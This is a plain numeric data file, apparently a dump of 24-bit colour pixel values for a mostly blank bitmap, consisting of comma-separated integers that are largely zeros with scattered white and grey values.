0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16767926,9452032,0,0,102,11983835,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777179,14399158,11974326,11974363,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767963,14408667,14408667,14408630,9452032,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,102,11983835,14408667,14408667,14408667,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777179,11974326,11974288,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6721718,11974326,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,11983835,14408630,11974326,11974326,11974363,14417919,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,6731446,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,14417919,16777179,9452032,0,0,102,11993087,16777215,14408630,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,14408667,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,14992,14408667,14408592,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758416,3801088,0,14950,11983871,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,